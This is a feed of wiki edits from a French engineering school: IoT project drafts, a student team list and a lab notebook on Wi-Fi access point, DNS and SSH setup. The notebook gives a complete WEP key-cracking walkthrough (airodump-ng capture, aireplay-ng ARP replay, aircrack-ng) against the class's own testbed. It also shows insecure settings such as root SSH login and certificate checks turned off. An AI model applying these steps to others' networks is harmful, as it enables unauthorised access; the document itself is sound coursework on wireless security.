* Mindstorm&lt;br /&gt;
* Panneau photovoltaïque &lt;br /&gt;
* capteur de lumière&lt;br /&gt;
&lt;br /&gt;
==Suivi de réalisation==&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 1 (08/01/2018)&lt;br /&gt;
 | activité ...&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 2 (09/01/2018)&lt;br /&gt;
 | activité ...&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 3 (16/01/2018)&lt;br /&gt;
 | activité ...&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 4 (17/01/2018)&lt;br /&gt;
 | activité ...&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 5 (22/01/2018)&lt;br /&gt;
 | activité ...&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 6 (24/01/2018)&lt;br /&gt;
 | activité ...&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la première séance==&lt;br /&gt;
Exemple d'inclusion d'image :&lt;br /&gt;
[[Fichier:2017_IOT_P0_circuit.png|center|400px|Un circuit]]&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la deuxième séance==&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la troisième séance==&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la quatrième séance==&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la cinquième séance==&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la sixième séance==&lt;br /&gt;
&lt;br /&gt;
=Rendu=&lt;br /&gt;
&lt;br /&gt;
==Poster==&lt;br /&gt;
Version électronique du poster :&lt;br /&gt;
[[Fichier:2017_IOT_P0_poster.png|center|500px|Notre poster]]&lt;br /&gt;
&lt;br /&gt;
==Fichiers rendus==&lt;br /&gt;
&lt;br /&gt;
Notre application : [[Media:2017_IOT_P0_application.zip]]&lt;/div&gt;</summary>
		<author><name>Bhagui</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2017&amp;diff=46698</id>
		<title>P4 IOT 2017</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2017&amp;diff=46698"/>
				<updated>2018-01-08T17:08:38Z</updated>
		
		<summary type="html">&lt;p&gt;Bhagui : /* Description du projet */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Présentation du sujet =&lt;br /&gt;
&lt;br /&gt;
Nous avons choisi de réaliser une veilleuse mobile, une veilleuse qui cherchera le meilleur emplacement dans une pièce pour pouvoir charger sa batterie grâce à un chargeur solaire.  &lt;br /&gt;
&lt;br /&gt;
==Contexte==&lt;br /&gt;
&lt;br /&gt;
Ce projet est réalisé dans le cadre du module transversale IOT. &lt;br /&gt;
&lt;br /&gt;
==Description du projet==&lt;br /&gt;
&lt;br /&gt;
Nous allons utiliser un Mindstorm pour la plateforme mobile sur lequel sera monté des panneaux solaires. Aussi, ce dernier sera équipé d'un capteur de lumière car le but étant d'abord de détecter l'endroit le plus lumineux.&lt;br /&gt;
&lt;br /&gt;
=Réalisation=&lt;br /&gt;
&lt;br /&gt;
==Matériel utilisé==&lt;br /&gt;
&lt;br /&gt;
* Matériel 1&lt;br /&gt;
* Matériel 2&lt;br /&gt;
* ...&lt;br /&gt;
&lt;br /&gt;
==Suivi de réalisation==&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 1 (08/01/2018)&lt;br /&gt;
 | activité ...&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 2 (09/01/2018)&lt;br /&gt;
 | activité ...&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 3 (16/01/2018)&lt;br /&gt;
 | activité ...&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 4 (17/01/2018)&lt;br /&gt;
 | activité ...&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 5 (22/01/2018)&lt;br /&gt;
 | activité ...&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 6 (24/01/2018)&lt;br /&gt;
 | activité ...&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la première séance==&lt;br /&gt;
Exemple d'inclusion d'image :&lt;br /&gt;
[[Fichier:2017_IOT_P0_circuit.png|center|400px|Un circuit]]&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la deuxième séance==&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la troisième séance==&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la quatrième séance==&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la cinquième séance==&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la sixième séance==&lt;br /&gt;
&lt;br /&gt;
=Rendu=&lt;br /&gt;
&lt;br /&gt;
==Poster==&lt;br /&gt;
Version électronique du poster :&lt;br /&gt;
[[Fichier:2017_IOT_P0_poster.png|center|500px|Notre poster]]&lt;br /&gt;
&lt;br /&gt;
==Fichiers rendus==&lt;br /&gt;
&lt;br /&gt;
Notre application : [[Media:2017_IOT_P0_application.zip]]&lt;/div&gt;</summary>
		<author><name>Bhagui</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2017&amp;diff=46681</id>
		<title>P4 IOT 2017</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2017&amp;diff=46681"/>
				<updated>2018-01-08T16:37:42Z</updated>
		
		<summary type="html">&lt;p&gt;Bhagui : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Présentation du sujet =&lt;br /&gt;
&lt;br /&gt;
Nous avons choisi de réaliser une veilleuse mobile, une veilleuse qui cherchera le meilleur emplacement dans une pièce pour pouvoir charger sa batterie grâce à un chargeur solaire.  &lt;br /&gt;
&lt;br /&gt;
==Contexte==&lt;br /&gt;
&lt;br /&gt;
Ce projet est réalisé dans le cadre du module transversale IOT. &lt;br /&gt;
&lt;br /&gt;
==Description du projet==&lt;br /&gt;
&lt;br /&gt;
Nous allons utiliser un Mindstorm pour la plateforme mobile&lt;br /&gt;
&lt;br /&gt;
=Réalisation=&lt;br /&gt;
&lt;br /&gt;
==Matériel utilisé==&lt;br /&gt;
&lt;br /&gt;
* Matériel 1&lt;br /&gt;
* Matériel 2&lt;br /&gt;
* ...&lt;br /&gt;
&lt;br /&gt;
==Suivi de réalisation==&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 1 (08/01/2018)&lt;br /&gt;
 | activité ...&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 2 (09/01/2018)&lt;br /&gt;
 | activité ...&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 3 (16/01/2018)&lt;br /&gt;
 | activité ...&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 4 (17/01/2018)&lt;br /&gt;
 | activité ...&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 5 (22/01/2018)&lt;br /&gt;
 | activité ...&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 6 (24/01/2018)&lt;br /&gt;
 | activité ...&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la première séance==&lt;br /&gt;
Exemple d'inclusion d'image :&lt;br /&gt;
[[Fichier:2017_IOT_P0_circuit.png|center|400px|Un circuit]]&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la deuxième séance==&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la troisième séance==&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la quatrième séance==&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la cinquième séance==&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la sixième séance==&lt;br /&gt;
&lt;br /&gt;
=Rendu=&lt;br /&gt;
&lt;br /&gt;
==Poster==&lt;br /&gt;
Version électronique du poster :&lt;br /&gt;
[[Fichier:2017_IOT_P0_poster.png|center|500px|Notre poster]]&lt;br /&gt;
&lt;br /&gt;
==Fichiers rendus==&lt;br /&gt;
&lt;br /&gt;
Notre application : [[Media:2017_IOT_P0_application.zip]]&lt;/div&gt;</summary>
		<author><name>Bhagui</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2017&amp;diff=46675</id>
		<title>P4 IOT 2017</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2017&amp;diff=46675"/>
				<updated>2018-01-08T16:24:37Z</updated>
		
		<summary type="html">&lt;p&gt;Bhagui : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Présentation du sujet =&lt;br /&gt;
&lt;br /&gt;
Nous avons choisi de réaliser une veilleuse connecté mobile, &lt;br /&gt;
&lt;br /&gt;
==Contexte==&lt;br /&gt;
&lt;br /&gt;
Ce projet est réalisé dans le cadre du module transversale IOT. &lt;br /&gt;
&lt;br /&gt;
==Description du projet==&lt;br /&gt;
&lt;br /&gt;
=Réalisation=&lt;br /&gt;
&lt;br /&gt;
==Matériel utilisé==&lt;br /&gt;
&lt;br /&gt;
* Matériel 1&lt;br /&gt;
* Matériel 2&lt;br /&gt;
* ...&lt;br /&gt;
&lt;br /&gt;
==Suivi de réalisation==&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 1 (08/01/2018)&lt;br /&gt;
 | activité ...&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 2 (09/01/2018)&lt;br /&gt;
 | activité ...&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 3 (16/01/2018)&lt;br /&gt;
 | activité ...&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 4 (17/01/2018)&lt;br /&gt;
 | activité ...&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 5 (22/01/2018)&lt;br /&gt;
 | activité ...&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 6 (24/01/2018)&lt;br /&gt;
 | activité ...&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la première séance==&lt;br /&gt;
Exemple d'inclusion d'image :&lt;br /&gt;
[[Fichier:2017_IOT_P0_circuit.png|center|400px|Un circuit]]&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la deuxième séance==&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la troisième séance==&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la quatrième séance==&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la cinquième séance==&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la sixième séance==&lt;br /&gt;
&lt;br /&gt;
=Rendu=&lt;br /&gt;
&lt;br /&gt;
==Poster==&lt;br /&gt;
Version électronique du poster :&lt;br /&gt;
[[Fichier:2017_IOT_P0_poster.png|center|500px|Notre poster]]&lt;br /&gt;
&lt;br /&gt;
==Fichiers rendus==&lt;br /&gt;
&lt;br /&gt;
Notre application : [[Media:2017_IOT_P0_application.zip]]&lt;/div&gt;</summary>
		<author><name>Bhagui</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Option_Internet_des_objets_2017/2018&amp;diff=46674</id>
		<title>Option Internet des objets 2017/2018</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Option_Internet_des_objets_2017/2018&amp;diff=46674"/>
				<updated>2018-01-08T16:24:23Z</updated>
		
		<summary type="html">&lt;p&gt;Bhagui : /* Répartition des binômes */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Répartition des binômes =&lt;br /&gt;
&lt;br /&gt;
Ecrivez vos noms sous le format exact &amp;quot;Prénom Nom&amp;quot;, séparez vos noms par des virgules. Modifiez aussi l'intitulé de votre projet.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Projet !! Elèves&lt;br /&gt;
|-&lt;br /&gt;
| [[P1_IOT_2017|Plaisir connecté ]] || Benoît Verhaeghe, Simon Fourquez&lt;br /&gt;
|-&lt;br /&gt;
| [[P2_IOT_2017|Lunettes bien-être]] || Nastassia Kaugarenia, Romain Houppeaux, Edmur Lopes&lt;br /&gt;
|-&lt;br /&gt;
| [[P3_IOT_2017|Patch connecté pour matériel sportif]] || Maerten Clément, Bouissou Cyprien&lt;br /&gt;
|-&lt;br /&gt;
| [[P4_IOT_2017|Veilleuse mobile]] || Maher Bencherif, Bacem Hagui&lt;br /&gt;
|-&lt;br /&gt;
| [[P5_IOT_2017|Intitulé du projet 5]] || Prénom Nom, Prénom Nom&lt;br /&gt;
|-&lt;br /&gt;
| [[P6_IOT_2017|Intitulé du projet 6]] || Prénom Nom, Prénom Nom&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;/div&gt;</summary>
		<author><name>Bhagui</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Option_Internet_des_objets_2017/2018&amp;diff=46671</id>
		<title>Option Internet des objets 2017/2018</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Option_Internet_des_objets_2017/2018&amp;diff=46671"/>
				<updated>2018-01-08T16:17:14Z</updated>
		
		<summary type="html">&lt;p&gt;Bhagui : /* Répartition des binômes */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Répartition des binômes =&lt;br /&gt;
&lt;br /&gt;
Ecrivez vos noms sous le format exact &amp;quot;Prénom Nom&amp;quot;, séparez vos noms par des virgules. Modifiez aussi l'intitulé de votre projet.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Projet !! Elèves&lt;br /&gt;
|-&lt;br /&gt;
| [[P1_IOT_2017|Plaisir connecté ]] || Benoît Verhaeghe, Simon Fourquez&lt;br /&gt;
|-&lt;br /&gt;
| [[P2_IOT_2017|Lunettes bien-être]] || Nastassia Kaugarenia, Romain Houppeaux, Edmur Lopes&lt;br /&gt;
|-&lt;br /&gt;
| [[P3_IOT_2017|Patch connecté pour matériel sportif]] || Maerten Clément, Bouissou Cyprien&lt;br /&gt;
|-&lt;br /&gt;
| [[P4_IOT_2017|Veilleuse connecté mobile]] || Maher Bencherif, Bacem Hagui&lt;br /&gt;
|-&lt;br /&gt;
| [[P5_IOT_2017|Intitulé du projet 5]] || Prénom Nom, Prénom Nom&lt;br /&gt;
|-&lt;br /&gt;
| [[P6_IOT_2017|Intitulé du projet 6]] || Prénom Nom, Prénom Nom&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;/div&gt;</summary>
		<author><name>Bhagui</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Cahier_2017_groupe_n%C2%B03&amp;diff=46576</id>
		<title>Cahier 2017 groupe n°3</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Cahier_2017_groupe_n%C2%B03&amp;diff=46576"/>
				<updated>2017-12-05T23:15:39Z</updated>
		
		<summary type="html">&lt;p&gt;Bhagui : /* Craquage du mot de passe */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Configuration des points d'accès wifi ==&lt;br /&gt;
&lt;br /&gt;
=== présentation ===&lt;br /&gt;
&lt;br /&gt;
Schéma du réseau:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:schema_PRA_2017.jpg|800 px|thumb|center|Schéma du réseau du projet]]&lt;br /&gt;
&lt;br /&gt;
Notre objectif est de mettre en place une VM sur le serveur Cordouan et &lt;br /&gt;
d'installer les points d'accès wifi pour les autres groupes. On cherchera à faire&lt;br /&gt;
un banc de test et de tester la sécurité des chiffrements WEP et WPA.&lt;br /&gt;
&lt;br /&gt;
=== avancement du travail ===&lt;br /&gt;
&lt;br /&gt;
==== séance 1 ====&lt;br /&gt;
&lt;br /&gt;
* Explication du projet&lt;br /&gt;
* Répartition du travail dans les différents groupes&lt;br /&gt;
* Gestion des adresses ip de chacun&lt;br /&gt;
&lt;br /&gt;
==== séance 2 ====&lt;br /&gt;
&lt;br /&gt;
*Exploration des locaux techniques de Polytech&lt;br /&gt;
*Création de la VM Xen sur le serveur Cordouan&lt;br /&gt;
*installation des paquetages nécessaires pour ssh, serveur WEB apache2 et le serveur DNS Bind&lt;br /&gt;
*Achat du domaine : &lt;br /&gt;
&lt;br /&gt;
==== séance 3 ====&lt;br /&gt;
&lt;br /&gt;
*Mise en place des 2 premiers points d'accès wifi.&lt;br /&gt;
*Avancement dans la compréhension de l'utilisation de la clef wifi&lt;br /&gt;
&lt;br /&gt;
==== séance 4 ====&lt;br /&gt;
&lt;br /&gt;
*Mise en place des 5 derniers points d'accès wifi.&lt;br /&gt;
*Connexion faite entre la machine avec la clef wifi et le point d'accès.&lt;br /&gt;
*Configuration de gandi et de notre serveur dns avec bind9&lt;br /&gt;
&lt;br /&gt;
==== séances supplémentaires ====&lt;br /&gt;
&lt;br /&gt;
*Sécurisation de site web par certificats&lt;br /&gt;
*Sécurisation de site web par dnssec&lt;br /&gt;
*crackage de wlef WEP&lt;br /&gt;
&lt;br /&gt;
=== Configuration d'un point d'accès===&lt;br /&gt;
&lt;br /&gt;
Commencer par se mettre en mode configuration:&lt;br /&gt;
  ap&amp;gt;enable&lt;br /&gt;
  ap#configure terminal&lt;br /&gt;
La configuration pour un point d'accès pour une sécurisation WEP est donc:&lt;br /&gt;
  ap(config)#dot11 ssid tomate&lt;br /&gt;
  ap(config-ssid)#authentication open&lt;br /&gt;
  ap(config-ssid)#vlan 8&lt;br /&gt;
  ap(config-ssid)#mbssid guest-mode &lt;br /&gt;
  ap(config-ssid)#exit&lt;br /&gt;
  ap(config)#Interface dot11radio0&lt;br /&gt;
  ap(config)#ssid tomate&lt;br /&gt;
  ap(config-ssid)#no shutdown&lt;br /&gt;
  ap(config-ssid)#Encryption vlan 8 mode wep mandatory&lt;br /&gt;
  ap(config-ssid)#Encryption vlan 8 key 1 size 128bit 05050505050505050505050505&lt;br /&gt;
  ap(config-ssid)#End&lt;br /&gt;
Écrire les modifications:&lt;br /&gt;
  ap#write memory&lt;br /&gt;
Configurer le sous interface pour Dot11 radio 0 et Ethernet.&lt;br /&gt;
  ap#configure terminal&lt;br /&gt;
  ap(config)#interface Dot11Radio0.8&lt;br /&gt;
  ap(config-subif)#encapsulation dot1Q 8&lt;br /&gt;
  ap(config-subif)#bridge-group 8&lt;br /&gt;
  ap(config-subif)#interface GigabitEthernet0.8&lt;br /&gt;
  ap(config-subif)#encapsulation dot1Q 8&lt;br /&gt;
  ap(config-subif)#bridge-group 8&lt;br /&gt;
  ap(config-subif)#end&lt;br /&gt;
  ap#write memory&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Craquage de clé WEP ===&lt;br /&gt;
==== Établissement de connexion ====&lt;br /&gt;
Premièrement il faut s'assurer de l'installation du driver de la clef Wi-fi (présence d'une interface Wi-fi en tapant ''iwconfig''). Dans le cas contraire, il faut installer le driver en suivant la manipulation suivante (l'exemple est pour une clef Netgear):&lt;br /&gt;
*Afficher les dispositif connecté à l'ordinateur par USB:&lt;br /&gt;
  lsusb&lt;br /&gt;
*On récupère les informations représentant la clef, ici '''Intersil ISL3887'''.&lt;br /&gt;
*Suivant le modèle de puce à disposition, il faut télécharger le driver et l'installer. Dans notre cas nous avons suivi le site suivant [https://wiki.debian.org/fr/prism54]&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
  wget https://daemonizer.de/prism54/prism54-fw/fw-usb/2.13.25.0.lm87.arm --no-check-certificate&lt;br /&gt;
  mv 2.13.25.0.lm87.arm /lib/firmware/isl3887usb&lt;br /&gt;
  modprobe -r p54usb ; modprobe p54usb&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
*On remarque maintenant que la LED devient bleu et qu'une interface Wi-fi apparaît avec ''iwconfig''.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Une fois le driver installé, on configure le fichier '''/etc/network/interfaces''' pour attribuer une adresse IP static à la machine et pouvoir se connecter sur un des réseaux Wi-fi disponible (ici le réseau banane):&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
auto &amp;lt;nom de l'interface (wlx000fb592236a)&amp;gt;&lt;br /&gt;
 iface &amp;lt;nom de l'interface&amp;gt; inet static&lt;br /&gt;
 address &amp;lt;adresse IP qu'on donne à ce réseau (10.2.0.100)&amp;gt;&lt;br /&gt;
 netmask &amp;lt;masque (255.255.0.0)&amp;gt;&lt;br /&gt;
 wireless-essid &amp;lt;essid (banane)&amp;gt;&lt;br /&gt;
 wireless-key &amp;lt;mot de passe Wi-fi (à regarder dans le doc de la promo)&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Pour terminer il faut démarrer l'interface Wi-fi pour prendre en compte la nouvelle configuration:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
ifdown &amp;lt;nom de l'interface&amp;gt; &lt;br /&gt;
ifup &amp;lt;nom de l'interface&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
La connexion doit maintenant être établie.&lt;br /&gt;
&lt;br /&gt;
==== Craquage du mot de passe ====&lt;br /&gt;
*La première étape est de générer du trafic sur le réseau (pour avoir des paquets ARP à capturer), pour cela nous avons utilisé la commande ''Nping'':&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
nping --arp-type ARP -c 11000  --flags rst --ttl 2 10.2.0.2&lt;br /&gt;
&lt;br /&gt;
# --arp-type ARP pour préciser que c'est des paquets ARP que l'on veut&lt;br /&gt;
# -c 11000 on va envoyer 11000 paquets, cela nous laissera assez de temps pour craquer la clé.  &lt;br /&gt;
# 10.2.0.2 est l'addresse IP du point d'accès . &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
*Nous allons faire passer la clef Wi-fi en mode moniteur&lt;br /&gt;
  airmon-ng start wlx000fb592236b (avec wlx000fb592236b le nom de notre clef Wi-fi obtenu avec ''iwconfig'')&lt;br /&gt;
*En refaisant un ''iwconfig'', on remarque que le nom de notre clef Wi-fi est maintenant '''wlan0mon'''.&lt;br /&gt;
*Il faut maintenant trouver le réseau Wi-fi à craquer. Nous avons besoin des informations suivantes, BSSID, channel (CH) et ESSID.&lt;br /&gt;
  airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
[[Fichier:groseilleAirodump-ng.png|600px|thumb|center|Résultat de la commande airodump en filtrant pour le réseau à craquer.]]&lt;br /&gt;
&lt;br /&gt;
*On va maintenant surveiller le réseau et capturer les informations qui circule. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
airodump-ng --bssid C4:14:3C:40:78:61 -c 3 -w crack_wep wlan0mon&lt;br /&gt;
# -c 3 précise que le réseau est sur le channel 3.&lt;br /&gt;
# -w crack_wep est le fichier qui va stocker les paquets capturé. &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
*Avec la commande ci-dessous nous allons générer encore plus de trafic sur le réseau pour éviter d'attendre très longtemps d'avoir assez de paquets (#Data).&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
aireplay-ng -3 -b C4:14:3C:40:78:61 -h 00:0F:B5:92:23:6A wlan0mon&lt;br /&gt;
# -3 précise un ARP Request Replay Attack. &lt;br /&gt;
# 00:0F:B5:92:23:6A étant l'addresse MAC de du premier ordinateur qui connecté sur le réseau. &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
*Une fois que nous avons capturé assez de paquets, étant donné la longueur des clés nous avons capturé environs 30000 paquets, il suffit de craquer la data capturé dans le fichier .cap avec la commande ci-dessous:&lt;br /&gt;
  aircrack-ng crack_wep-02.cap &lt;br /&gt;
[[Fichier:GroseilleCrackWEPsuccessfull.png|600px|thumb|center|Résultat de craquage de clé WEP.]]&lt;br /&gt;
&lt;br /&gt;
=== Partie commune===&lt;br /&gt;
&lt;br /&gt;
==== Création de la VM ====&lt;br /&gt;
&lt;br /&gt;
Pour suivre le thème de la promo qui porte sur les fruits, nous&lt;br /&gt;
avons crée une machine virtuelle sur le serveur cordouan qui se nomme IMA5-GROSEILLE.&lt;br /&gt;
&lt;br /&gt;
Cette VM hébergera un site web sécurisé qui se nommera www.groseille.space.&lt;br /&gt;
&lt;br /&gt;
Pour cela on utilisera les commandes : &lt;br /&gt;
&lt;br /&gt;
* xen-create-image pour créer la machine virtuelle&lt;br /&gt;
* lv-create pour que les répertoires /var et /home soient sur les partitions LVM de l'hôte.&lt;br /&gt;
&lt;br /&gt;
Une fois la machine virtuelle crée, on créera la session avec:&lt;br /&gt;
&lt;br /&gt;
  xl create IMA5-GROSEILLE.cfg&lt;br /&gt;
dans le repertoire /etc/xen&lt;br /&gt;
&lt;br /&gt;
et :&lt;br /&gt;
&lt;br /&gt;
  xl console IMA5-GROSEILLE&lt;br /&gt;
pour accéder à la VM.&lt;br /&gt;
&lt;br /&gt;
==== Mise en place des services internet ====&lt;br /&gt;
&lt;br /&gt;
===== Serveur dns =====&lt;br /&gt;
&lt;br /&gt;
On installe notre outil de serveur web et de serveur de DNS&lt;br /&gt;
&lt;br /&gt;
  apt-get install apache2&lt;br /&gt;
  apt-get install bind9&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On se place dans le dossier : /etc/bind et &lt;br /&gt;
on crée le fichier : db.groseille.space pour notre adresse ip (193.48.57.183)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:db.groseille.space.png|600px]]&lt;br /&gt;
&lt;br /&gt;
ps : Correction faite après coup : Ajout de la ligne :&lt;br /&gt;
&lt;br /&gt;
   	IN	NS	ns6.gandi.net.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Et on spécifie notre zone dans le fichier named.conf.local&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Groseille_named.conf.local.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On redémarre le service pour appliquer les changements: &lt;br /&gt;
&lt;br /&gt;
  service bind9 restart&lt;br /&gt;
&lt;br /&gt;
Et on configure le nom de dns sur le site de gandi.&lt;br /&gt;
Dans name servers :&lt;br /&gt;
&lt;br /&gt;
  DNS1 : ns.groseille.space&lt;br /&gt;
  DNS2 : ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
Dans Glue records:&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Groseille_glue_records.png|1000px]]&lt;br /&gt;
&lt;br /&gt;
===== Serveur ssh =====&lt;br /&gt;
&lt;br /&gt;
Pour installer le service, nous installons tout d'abords le package openssh-server&lt;br /&gt;
&lt;br /&gt;
  apt-get install openssh-server&lt;br /&gt;
&lt;br /&gt;
Notre utilisateur est root. Il nous faut donc autoriser l'accès directement en root.&lt;br /&gt;
&lt;br /&gt;
  vim /etc/ssh/sshd_config&lt;br /&gt;
&lt;br /&gt;
et tapez ou décommentez:&lt;br /&gt;
&lt;br /&gt;
  PermitRootLogin yes&lt;br /&gt;
&lt;br /&gt;
On peut donc maintenant se connecter en ssh à notre machine virtuelle en tapant:&lt;br /&gt;
&lt;br /&gt;
  ssh root@www.groseille.space&lt;br /&gt;
&lt;br /&gt;
===== Sécurisation de site web par certificats =====&lt;br /&gt;
&lt;br /&gt;
Après avoir naviguer dans les pages de gandi pour sécuriser notre site web via ssl, gandi nous demande un fichier csr.&lt;br /&gt;
On le générera comme ceci:&lt;br /&gt;
&lt;br /&gt;
  openssl req -nodes -newkey rsa:2048 -sha1 -keyout groseille.space.key -out groseille.space.csr&lt;br /&gt;
&lt;br /&gt;
On remplira par la suite les informations ci-dessous:&lt;br /&gt;
&lt;br /&gt;
  Country Name (2 letter code) [AU]:FR&lt;br /&gt;
  State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
  Locality Name (eg, city) []:Villeneuve d'ascq&lt;br /&gt;
  Organization Name (eg, company) [Internet Widgits Pty Ltd]:groseille.space&lt;br /&gt;
  Organizational Unit Name (eg, section) []:groseille.space&lt;br /&gt;
  Common Name (e.g. server FQDN or YOUR name) []:groseille.space&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
En choisissant la troisième option, gandi nous demandait de mettre un fichier à la racine.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Gandi_3options.png|300px]]&lt;br /&gt;
&lt;br /&gt;
